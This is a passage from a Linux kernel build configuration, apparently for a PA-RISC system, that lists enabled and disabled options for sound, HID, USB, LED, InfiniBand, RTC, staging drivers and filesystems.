# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_CLUT224=y
CONFIG_LOGO_PARISC_CLUT224=y
CONFIG_SOUND=m
CONFIG_SOUND_OSS_CORE=y
# CONFIG_SOUND_OSS_CORE_PRECLAIM is not set
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
CONFIG_SND_HWDEP=m
CONFIG_SND_RAWMIDI=m
CONFIG_SND_JACK=y
CONFIG_SND_SEQUENCER=m
CONFIG_SND_SEQ_DUMMY=m
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
CONFIG_SND_PCM_OSS_PLUGINS=y
# CONFIG_SND_SEQUENCER_OSS is not set
CONFIG_SND_DYNAMIC_MINORS=y
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_RAWMIDI_SEQ=m
CONFIG_SND_OPL3_LIB_SEQ=m
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_MPU401_UART=m
CONFIG_SND_OPL3_LIB=m
CONFIG_SND_VX_LIB=m
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DRIVERS=y
CONFIG_SND_DUMMY=m
CONFIG_SND_ALOOP=m
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
CONFIG_SND_MTS64=m
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
CONFIG_SND_PORTMAN2X4=m
CONFIG_SND_AC97_POWER_SAVE=y
CONFIG_SND_AC97_POWER_SAVE_DEFAULT=0
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=m
CONFIG_SND_ALS300=m
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
CONFIG_SND_OXYGEN_LIB=m
CONFIG_SND_OXYGEN=m
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
CONFIG_SND_CS5535AUDIO=m
CONFIG_SND_CTXFI=m
CONFIG_SND_DARLA20=m
CONFIG_SND_GINA20=m
CONFIG_SND_LAYLA20=m
CONFIG_SND_DARLA24=m
CONFIG_SND_GINA24=m
CONFIG_SND_LAYLA24=m
CONFIG_SND_MONA=m
CONFIG_SND_MIA=m
CONFIG_SND_ECHO3G=m
CONFIG_SND_INDIGO=m
CONFIG_SND_INDIGOIO=m
CONFIG_SND_INDIGODJ=m
CONFIG_SND_INDIGOIOX=m
CONFIG_SND_INDIGODJX=m
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
CONFIG_SND_HDSPM=m
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
CONFIG_SND_LX6464ES=m
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
CONFIG_SND_PCXHR=m
CONFIG_SND_RIPTIDE=m
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
CONFIG_SND_VIRTUOSO=m
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
CONFIG_SND_SPI=y
CONFIG_SND_USB=y
CONFIG_SND_USB_AUDIO=m
CONFIG_SND_USB_UA101=m
CONFIG_SND_USB_CAIAQ=m
CONFIG_SND_USB_CAIAQ_INPUT=y
# CONFIG_SND_USB_6FIRE is not set
CONFIG_SND_PCMCIA=y
CONFIG_SND_VXPOCKET=m
CONFIG_SND_PDAUDIOCF=m
CONFIG_SND_GSC=y
CONFIG_SND_HARMONY=m
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
CONFIG_HID_SUPPORT=y
CONFIG_HID=m
CONFIG_HIDRAW=y

#
# USB Input Devices
#
CONFIG_USB_HID=m
CONFIG_HID_PID=y
CONFIG_USB_HIDDEV=y

#
# Special HID drivers
#
CONFIG_HID_3M_PCT=m
CONFIG_HID_A4TECH=m
# CONFIG_HID_ACRUX is not set
CONFIG_HID_APPLE=m
CONFIG_HID_BELKIN=m
CONFIG_HID_CANDO=m
CONFIG_HID_CHERRY=m
CONFIG_HID_CHICONY=m
CONFIG_HID_PRODIKEYS=m
CONFIG_HID_CYPRESS=m
CONFIG_HID_DRAGONRISE=m
CONFIG_DRAGONRISE_FF=y
# CONFIG_HID_EMS_FF is not set
CONFIG_HID_EZKEY=m
# CONFIG_HID_KEYTOUCH is not set
CONFIG_HID_KYE=m
CONFIG_HID_UCLOGIC=m
CONFIG_HID_WALTOP=m
CONFIG_HID_GYRATION=m
CONFIG_HID_TWINHAN=m
CONFIG_HID_KENSINGTON=m
# CONFIG_HID_LCPOWER is not set
CONFIG_HID_LOGITECH=m
CONFIG_LOGITECH_FF=y
CONFIG_LOGIRUMBLEPAD2_FF=y
CONFIG_LOGIG940_FF=y
CONFIG_LOGIWII_FF=y
CONFIG_HID_MICROSOFT=m
CONFIG_HID_MOSART=m
CONFIG_HID_MONTEREY=m
# CONFIG_HID_MULTITOUCH is not set
CONFIG_HID_NTRIG=m
CONFIG_HID_ORTEK=m
CONFIG_HID_PANTHERLORD=m
CONFIG_PANTHERLORD_FF=y
CONFIG_HID_PETALYNX=m
CONFIG_HID_PICOLCD=m
CONFIG_HID_PICOLCD_FB=y
CONFIG_HID_PICOLCD_BACKLIGHT=y
CONFIG_HID_PICOLCD_LEDS=y
CONFIG_HID_QUANTA=m
CONFIG_HID_ROCCAT=m
CONFIG_HID_ROCCAT_COMMON=m
# CONFIG_HID_ROCCAT_ARVO is not set
CONFIG_HID_ROCCAT_KONE=m
# CONFIG_HID_ROCCAT_KONEPLUS is not set
# CONFIG_HID_ROCCAT_KOVAPLUS is not set
CONFIG_HID_ROCCAT_PYRA=m
CONFIG_HID_SAMSUNG=m
CONFIG_HID_SONY=m
CONFIG_HID_STANTUM=m
CONFIG_HID_SUNPLUS=m
CONFIG_HID_GREENASIA=m
CONFIG_GREENASIA_FF=y
CONFIG_HID_SMARTJOYPLUS=m
CONFIG_SMARTJOYPLUS_FF=y
CONFIG_HID_TOPSEED=m
CONFIG_HID_THRUSTMASTER=m
CONFIG_THRUSTMASTER_FF=y
CONFIG_HID_ZEROPLUS=m
CONFIG_ZEROPLUS_FF=y
CONFIG_HID_ZYDACRON=m
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=m
CONFIG_USB_DEBUG=y
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
CONFIG_USB_DEVICEFS=y
# CONFIG_USB_DEVICE_CLASS is not set
CONFIG_USB_DYNAMIC_MINORS=y
CONFIG_USB_MON=m
CONFIG_USB_WUSB=m
CONFIG_USB_WUSB_CBAF=m
# CONFIG_USB_WUSB_CBAF_DEBUG is not set

#
# USB Host Controller Drivers
#
CONFIG_USB_C67X00_HCD=m
CONFIG_USB_XHCI_HCD=m
# CONFIG_USB_XHCI_HCD_DEBUGGING is not set
CONFIG_USB_EHCI_HCD=m
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set
CONFIG_USB_EHCI_TT_NEWSCHED=y
# CONFIG_USB_OXU210HP_HCD is not set
CONFIG_USB_ISP116X_HCD=m
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
CONFIG_USB_OHCI_HCD=m
# CONFIG_USB_OHCI_HCD_SSB is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
# CONFIG_USB_UHCI_HCD is not set
CONFIG_USB_U132_HCD=m
# CONFIG_USB_SL811_HCD is not set
CONFIG_USB_R8A66597_HCD=m
CONFIG_USB_WHCI_HCD=m
CONFIG_USB_HWA_HCD=m

#
# Enable Host or Gadget support to see Inventra options
#

#
# USB Device Class drivers
#
CONFIG_USB_ACM=m
CONFIG_USB_PRINTER=m
CONFIG_USB_WDM=m
CONFIG_USB_TMC=m

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_REALTEK is not set
CONFIG_USB_STORAGE_DATAFAB=m
CONFIG_USB_STORAGE_FREECOM=m
CONFIG_USB_STORAGE_ISD200=m
CONFIG_USB_STORAGE_USBAT=m
CONFIG_USB_STORAGE_SDDR09=m
CONFIG_USB_STORAGE_SDDR55=m
CONFIG_USB_STORAGE_JUMPSHOT=m
CONFIG_USB_STORAGE_ALAUDA=m
CONFIG_USB_STORAGE_ONETOUCH=m
CONFIG_USB_STORAGE_KARMA=m
CONFIG_USB_STORAGE_CYPRESS_ATACB=m
# CONFIG_USB_STORAGE_ENE_UB6250 is not set
CONFIG_USB_UAS=m
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
CONFIG_USB_MDC800=m
CONFIG_USB_MICROTEK=m

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set
CONFIG_USB_SERIAL=m
CONFIG_USB_EZUSB=y
CONFIG_USB_SERIAL_GENERIC=y
CONFIG_USB_SERIAL_AIRCABLE=m
CONFIG_USB_SERIAL_ARK3116=m
CONFIG_USB_SERIAL_BELKIN=m
CONFIG_USB_SERIAL_CH341=m
CONFIG_USB_SERIAL_WHITEHEAT=m
CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m
CONFIG_USB_SERIAL_CP210X=m
CONFIG_USB_SERIAL_CYPRESS_M8=m
CONFIG_USB_SERIAL_EMPEG=m
CONFIG_USB_SERIAL_FTDI_SIO=m
CONFIG_USB_SERIAL_FUNSOFT=m
CONFIG_USB_SERIAL_VISOR=m
CONFIG_USB_SERIAL_IPAQ=m
CONFIG_USB_SERIAL_IR=m
CONFIG_USB_SERIAL_EDGEPORT=m
CONFIG_USB_SERIAL_EDGEPORT_TI=m
CONFIG_USB_SERIAL_GARMIN=m
CONFIG_USB_SERIAL_IPW=m
CONFIG_USB_SERIAL_IUU=m
CONFIG_USB_SERIAL_KEYSPAN_PDA=m
CONFIG_USB_SERIAL_KEYSPAN=m
CONFIG_USB_SERIAL_KLSI=m
CONFIG_USB_SERIAL_KOBIL_SCT=m
CONFIG_USB_SERIAL_MCT_U232=m
CONFIG_USB_SERIAL_MOS7720=m
CONFIG_USB_SERIAL_MOS7715_PARPORT=y
CONFIG_USB_SERIAL_MOS7840=m
CONFIG_USB_SERIAL_MOTOROLA=m
CONFIG_USB_SERIAL_NAVMAN=m
CONFIG_USB_SERIAL_PL2303=m
CONFIG_USB_SERIAL_OTI6858=m
CONFIG_USB_SERIAL_QCAUX=m
CONFIG_USB_SERIAL_QUALCOMM=m
CONFIG_USB_SERIAL_SPCP8X5=m
CONFIG_USB_SERIAL_HP4X=m
CONFIG_USB_SERIAL_SAFE=m
# CONFIG_USB_SERIAL_SAFE_PADDED is not set
CONFIG_USB_SERIAL_SAMBA=m
CONFIG_USB_SERIAL_SIEMENS_MPI=m
CONFIG_USB_SERIAL_SIERRAWIRELESS=m
CONFIG_USB_SERIAL_SYMBOL=m
CONFIG_USB_SERIAL_TI=m
CONFIG_USB_SERIAL_CYBERJACK=m
CONFIG_USB_SERIAL_XIRCOM=m
CONFIG_USB_SERIAL_WWAN=m
CONFIG_USB_SERIAL_OPTION=m
CONFIG_USB_SERIAL_OMNINET=m
CONFIG_USB_SERIAL_OPTICON=m
CONFIG_USB_SERIAL_VIVOPAY_SERIAL=m
CONFIG_USB_SERIAL_ZIO=m
CONFIG_USB_SERIAL_SSU100=m
CONFIG_USB_SERIAL_DEBUG=m

#
# USB Miscellaneous drivers
#
CONFIG_USB_EMI62=m
CONFIG_USB_EMI26=m
CONFIG_USB_ADUTUX=m
CONFIG_USB_SEVSEG=m
CONFIG_USB_RIO500=m
CONFIG_USB_LEGOTOWER=m
CONFIG_USB_LCD=m
CONFIG_USB_LED=m
CONFIG_USB_CYPRESS_CY7C63=m
CONFIG_USB_CYTHERM=m
CONFIG_USB_IDMOUSE=m
CONFIG_USB_FTDI_ELAN=m
CONFIG_USB_APPLEDISPLAY=m
CONFIG_USB_SISUSBVGA=m
CONFIG_USB_SISUSBVGA_CON=y
CONFIG_USB_LD=m
CONFIG_USB_TRANCEVIBRATOR=m
CONFIG_USB_IOWARRIOR=m
CONFIG_USB_TEST=m
CONFIG_USB_ISIGHTFW=m
# CONFIG_USB_YUREX is not set
# CONFIG_USB_GADGET is not set

#
# OTG and related infrastructure
#
CONFIG_USB_OTG_UTILS=y
CONFIG_NOP_USB_XCEIV=m
CONFIG_UWB=m
CONFIG_UWB_HWA=m
CONFIG_UWB_WHCI=m
CONFIG_UWB_I1480U=m
# CONFIG_MMC is not set
CONFIG_MEMSTICK=m
# CONFIG_MEMSTICK_DEBUG is not set

#
# MemoryStick drivers
#
# CONFIG_MEMSTICK_UNSAFE_RESUME is not set
CONFIG_MSPRO_BLOCK=m

#
# MemoryStick Host Controller Drivers
#
CONFIG_MEMSTICK_TIFM_MS=m
CONFIG_MEMSTICK_JMICRON_38X=m
# CONFIG_MEMSTICK_R592 is not set
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=y

#
# LED drivers
#
# CONFIG_LEDS_LM3530 is not set
CONFIG_LEDS_PCA9532=m
CONFIG_LEDS_LP3944=m
# CONFIG_LEDS_LP5521 is not set
# CONFIG_LEDS_LP5523 is not set
CONFIG_LEDS_PCA955X=m
CONFIG_LEDS_DAC124S085=m
CONFIG_LEDS_REGULATOR=m
CONFIG_LEDS_BD2802=m
CONFIG_LEDS_TRIGGERS=y

#
# LED Triggers
#
CONFIG_LEDS_TRIGGER_TIMER=m
CONFIG_LEDS_TRIGGER_IDE_DISK=y
CONFIG_LEDS_TRIGGER_HEARTBEAT=m
CONFIG_LEDS_TRIGGER_BACKLIGHT=m
CONFIG_LEDS_TRIGGER_DEFAULT_ON=m

#
# iptables trigger is under Netfilter config (LED target)
#
# CONFIG_NFC_DEVICES is not set
CONFIG_ACCESSIBILITY=y
CONFIG_A11Y_BRAILLE_CONSOLE=y
CONFIG_INFINIBAND=m
CONFIG_INFINIBAND_USER_MAD=m
CONFIG_INFINIBAND_USER_ACCESS=m
CONFIG_INFINIBAND_USER_MEM=y
CONFIG_INFINIBAND_ADDR_TRANS=y
CONFIG_INFINIBAND_MTHCA=m
CONFIG_INFINIBAND_MTHCA_DEBUG=y
CONFIG_INFINIBAND_QIB=m
CONFIG_INFINIBAND_AMSO1100=m
# CONFIG_INFINIBAND_AMSO1100_DEBUG is not set
CONFIG_INFINIBAND_CXGB3=m
# CONFIG_INFINIBAND_CXGB3_DEBUG is not set
CONFIG_INFINIBAND_CXGB4=m
CONFIG_MLX4_INFINIBAND=m
CONFIG_INFINIBAND_NES=m
# CONFIG_INFINIBAND_NES_DEBUG is not set
CONFIG_INFINIBAND_IPOIB=m
CONFIG_INFINIBAND_IPOIB_CM=y
CONFIG_INFINIBAND_IPOIB_DEBUG=y
# CONFIG_INFINIBAND_IPOIB_DEBUG_DATA is not set
CONFIG_INFINIBAND_SRP=m
CONFIG_INFINIBAND_ISER=m
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
CONFIG_RTC_DRV_DS1307=m
CONFIG_RTC_DRV_DS1374=m
CONFIG_RTC_DRV_DS1672=m
# CONFIG_RTC_DRV_DS3232 is not set
CONFIG_RTC_DRV_MAX6900=m
CONFIG_RTC_DRV_RS5C372=m
CONFIG_RTC_DRV_ISL1208=m
# CONFIG_RTC_DRV_ISL12022 is not set
CONFIG_RTC_DRV_X1205=m
CONFIG_RTC_DRV_PCF8563=m
CONFIG_RTC_DRV_PCF8583=m
CONFIG_RTC_DRV_M41T80=m
# CONFIG_RTC_DRV_M41T80_WDT is not set
CONFIG_RTC_DRV_BQ32K=m
CONFIG_RTC_DRV_S35390A=m
CONFIG_RTC_DRV_FM3130=m
CONFIG_RTC_DRV_RX8581=m
CONFIG_RTC_DRV_RX8025=m

#
# SPI RTC drivers
#
CONFIG_RTC_DRV_M41T94=m
CONFIG_RTC_DRV_DS1305=m
CONFIG_RTC_DRV_DS1390=m
CONFIG_RTC_DRV_MAX6902=m
CONFIG_RTC_DRV_R9701=m
CONFIG_RTC_DRV_RS5C348=m
CONFIG_RTC_DRV_DS3234=m
CONFIG_RTC_DRV_PCF2123=m

#
# Platform RTC drivers
#
CONFIG_RTC_DRV_DS1286=m
CONFIG_RTC_DRV_DS1511=m
CONFIG_RTC_DRV_DS1553=m
CONFIG_RTC_DRV_DS1742=m
CONFIG_RTC_DRV_STK17TA8=m
CONFIG_RTC_DRV_M48T86=m
CONFIG_RTC_DRV_M48T35=m
CONFIG_RTC_DRV_M48T59=m
CONFIG_RTC_DRV_MSM6242=m
CONFIG_RTC_DRV_BQ4802=m
CONFIG_RTC_DRV_RP5C01=m
CONFIG_RTC_DRV_V3020=m
CONFIG_RTC_DRV_PCF50633=m

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
CONFIG_UIO=m
CONFIG_UIO_CIF=m
CONFIG_UIO_PDRV=m
CONFIG_UIO_PDRV_GENIRQ=m
CONFIG_UIO_AEC=m
CONFIG_UIO_SERCOS3=m
CONFIG_UIO_PCI_GENERIC=m
CONFIG_UIO_NETX=m
CONFIG_STAGING=y
# CONFIG_STAGING_EXCLUDE_BUILD is not set
# CONFIG_ET131X is not set
# CONFIG_USB_IP_COMMON is not set
# CONFIG_W35UND is not set
# CONFIG_PRISM2_USB is not set
# CONFIG_ECHO is not set
# CONFIG_BRCM80211 is not set
# CONFIG_COMEDI is not set
# CONFIG_ASUS_OLED is not set
# CONFIG_PANEL is not set
# CONFIG_R8187SE is not set
# CONFIG_RTL8192U is not set
# CONFIG_RTL8192E is not set
# CONFIG_R8712U is not set
# CONFIG_RTS_PSTOR is not set
# CONFIG_TRANZPORT is not set
# CONFIG_POHMELFS is not set
# CONFIG_IDE_PHISON is not set
# CONFIG_LINE6_USB is not set
# CONFIG_USB_SERIAL_QUATECH2 is not set
# CONFIG_USB_SERIAL_QUATECH_USB2 is not set
# CONFIG_VT6655 is not set
# CONFIG_VT6656 is not set
# CONFIG_VME_BUS is not set
# CONFIG_DX_SEP is not set
# CONFIG_IIO is not set
# CONFIG_XVMALLOC is not set
# CONFIG_ZRAM is not set
# CONFIG_WLAGS49_H2 is not set
# CONFIG_WLAGS49_H25 is not set
# CONFIG_FB_SM7XX is not set
# CONFIG_CRYSTALHD is not set
# CONFIG_FB_XGI is not set
# CONFIG_LIRC_STAGING is not set
CONFIG_MACH_NO_WESTBRIDGE=y
# CONFIG_USB_ENESTORAGE is not set
# CONFIG_BCM_WIMAX is not set
# CONFIG_FT1000 is not set

#
# Speakup console speech
#
CONFIG_SPEAKUP=m
CONFIG_SPEAKUP_SYNTH_ACNTSA=m
CONFIG_SPEAKUP_SYNTH_ACNTPC=m
CONFIG_SPEAKUP_SYNTH_APOLLO=m
CONFIG_SPEAKUP_SYNTH_AUDPTR=m
CONFIG_SPEAKUP_SYNTH_BNS=m
CONFIG_SPEAKUP_SYNTH_DECTLK=m
CONFIG_SPEAKUP_SYNTH_DECEXT=m
# CONFIG_SPEAKUP_SYNTH_DECPC is not set
CONFIG_SPEAKUP_SYNTH_DTLK=m
CONFIG_SPEAKUP_SYNTH_KEYPC=m
CONFIG_SPEAKUP_SYNTH_LTLK=m
CONFIG_SPEAKUP_SYNTH_SOFT=m
CONFIG_SPEAKUP_SYNTH_SPKOUT=m
CONFIG_SPEAKUP_SYNTH_TXPRT=m
CONFIG_SPEAKUP_SYNTH_DUMMY=m
# CONFIG_TOUCHSCREEN_SYNAPTICS_I2C_RMI4 is not set

#
# Altera FPGA firmware download module
#
# CONFIG_ALTERA_STAPL is not set

#
# File systems
#
CONFIG_EXT2_FS=y
CONFIG_EXT2_FS_XATTR=y
CONFIG_EXT2_FS_POSIX_ACL=y
CONFIG_EXT2_FS_SECURITY=y
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=m
CONFIG_EXT3_DEFAULTS_TO_ORDERED=y
CONFIG_EXT3_FS_XATTR=y
CONFIG_EXT3_FS_POSIX_ACL=y
CONFIG_EXT3_FS_SECURITY=y
CONFIG_EXT4_FS=m
CONFIG_EXT4_FS_XATTR=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD=m
# CONFIG_JBD_DEBUG is not set
CONFIG_JBD2=m
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
CONFIG_REISERFS_FS=m
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
CONFIG_REISERFS_FS_XATTR=y
CONFIG_REISERFS_FS_POSIX_ACL=y
CONFIG_REISERFS_FS_SECURITY=y
CONFIG_JFS_FS=m
CONFIG_JFS_POSIX_ACL=y
CONFIG_JFS_SECURITY=y
# CONFIG_JFS_DEBUG is not set
# CONFIG_JFS_STATISTICS is not set
CONFIG_XFS_FS=m
CONFIG_XFS_QUOTA=y
CONFIG_XFS_POSIX_ACL=y
CONFIG_XFS_RT=y
# CONFIG_XFS_DEBUG is not set
CONFIG_GFS2_FS=m
CONFIG_GFS2_FS_LOCKING_DLM=y
CONFIG_OCFS2_FS=m
CONFIG_OCFS2_FS_O2CB=m
CONFIG_OCFS2_FS_USERSPACE_CLUSTER=m
CONFIG_OCFS2_FS_STATS=y
CONFIG_OCFS2_DEBUG_MASKLOG=y
# CONFIG_OCFS2_DEBUG_FS is not set
CONFIG_BTRFS_FS=m
CONFIG_BTRFS_FS_POSIX_ACL=y
CONFIG_NILFS2_FS=m
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
# CONFIG_FANOTIFY_ACCESS_PERMISSIONS is not set
CONFIG_QUOTA=y
CONFIG_QUOTA_NETLINK_INTERFACE=y
CONFIG_PRINT_QUOTA_WARNING=y
# CONFIG_QUOTA_DEBUG is not set
CONFIG_QUOTA_TREE=m
CONFIG_QFMT_V1=m
CONFIG_QFMT_V2=m
CONFIG_QUOTACTL=y
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=m
CONFIG_CUSE=m
CONFIG_GENERIC_ACL=y

#
# Caches
#
CONFIG_FSCACHE=m
CONFIG_FSCACHE_STATS=y
# CONFIG_FSCACHE_HISTOGRAM is not set
# CONFIG_FSCACHE_DEBUG is not set
# CONFIG_FSCACHE_OBJECT_LIST is not set
CONFIG_CACHEFILES=m
# CONFIG_CACHEFILES_DEBUG is not set
# CONFIG_CACHEFILES_HISTOGRAM is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=m
CONFIG_UDF_NLS=y

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="utf8"
CONFIG_NTFS_FS=m
# CONFIG_NTFS_DEBUG is not set
CONFIG_NTFS_RW=y

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=m
CONFIG_MISC_FILESYSTEMS=y
CONFIG_ADFS_FS=m
# CONFIG_ADFS_FS_RW is not set
CONFIG_AFFS_FS=m
CONFIG_ECRYPT_FS=m
CONFIG_HFS_FS=m
CONFIG_HFSPLUS_FS=m
CONFIG_BEFS_FS=m
# CONFIG_BEFS_DEBUG is not set
CONFIG_BFS_FS=m
CONFIG_EFS_FS=m
CONFIG_LOGFS=m
CONFIG_CRAMFS=y
CONFIG_SQUASHFS=m
CONFIG_SQUASHFS_XATTR=y
# CONFIG_SQUASHFS_LZO is not set
# CONFIG_SQUASHFS_XZ is not set
# CONFIG_SQUASHFS_EMBEDDED is not set
CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3
CONFIG_VXFS_FS=m
CONFIG_MINIX_FS=m
CONFIG_OMFS_FS=m
# CONFIG_HPFS_FS is not set
CONFIG_QNX4FS_FS=m
CONFIG_ROMFS_FS=m
CONFIG_ROMFS_BACKED_BY_BLOCK=y
CONFIG_ROMFS_ON_BLOCK=y
# CONFIG_PSTORE is not set
CONFIG_SYSV_FS=m
CONFIG_UFS_FS=m
# CONFIG_UFS_FS_WRITE is not set
# CONFIG_UFS_DEBUG is not set
CONFIG_EXOFS_FS=m
# CONFIG_EXOFS_DEBUG is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=m
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
CONFIG_NFS_V4=y
# CONFIG_NFS_V4_1 is not set
CONFIG_NFS_FSCACHE=y
# CONFIG_NFS_USE_LEGACY_DNS is not set
CONFIG_NFS_USE_KERNEL_DNS=y
# CONFIG_NFS_USE_NEW_IDMAPPER is not set
CONFIG_NFSD=m
CONFIG_NFSD_DEPRECATED=y
CONFIG_NFSD_V2_ACL=y
CONFIG_NFSD_V3=y
CONFIG_NFSD_V3_ACL=y
CONFIG_NFSD_V4=y
CONFIG_LOCKD=m
CONFIG_LOCKD_V4=y
CONFIG_NFS_ACL_SUPPORT=m
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=m
CONFIG_SUNRPC_GSS=m
CONFIG_SUNRPC_XPRT_RDMA=m
CONFIG_RPCSEC_GSS_KRB5=m
CONFIG_CEPH_FS=m
CONFIG_CIFS=m
# CONFIG_CIFS_STATS is not set
CONFIG_CIFS_WEAK_PW_HASH=y
CONFIG_CIFS_UPCALL=y
CONFIG_CIFS_XATTR=y
CONFIG_CIFS_POSIX=y
# CONFIG_CIFS_DEBUG2 is not set
CONFIG_CIFS_DFS_UPCALL=y
CONFIG_CIFS_FSCACHE=y
CONFIG_CIFS_ACL=y
CONFIG_CIFS_EXPERIMENTAL=y
CONFIG_NCP_FS=m
CONFIG_NCPFS_PACKET_SIGNING=y
CONFIG_NCPFS_IOCTL_LOCKING=y
CONFIG_NCPFS_STRONG=y
CONFIG_NCPFS_NFS_NS=y
CONFIG_NCPFS_OS2_NS=y
# CONFIG_NCPFS_SMALLDOS is not set
CONFIG_NCPFS_NLS=y
CONFIG_NCPFS_EXTRAS=y
CONFIG_CODA_FS=m
CONFIG_AFS_FS=m
# CONFIG_AFS_DEBUG is not set
CONFIG_AFS_FSCACHE=y
CONFIG_9P_FS=m
CONFIG_9P_FSCACHE=y
CONFIG_9P_FS_POSIX_ACL=y

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=m
CONFIG_NLS_DEFAULT="utf8"
CONFIG_NLS_CODEPAGE_437=m
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
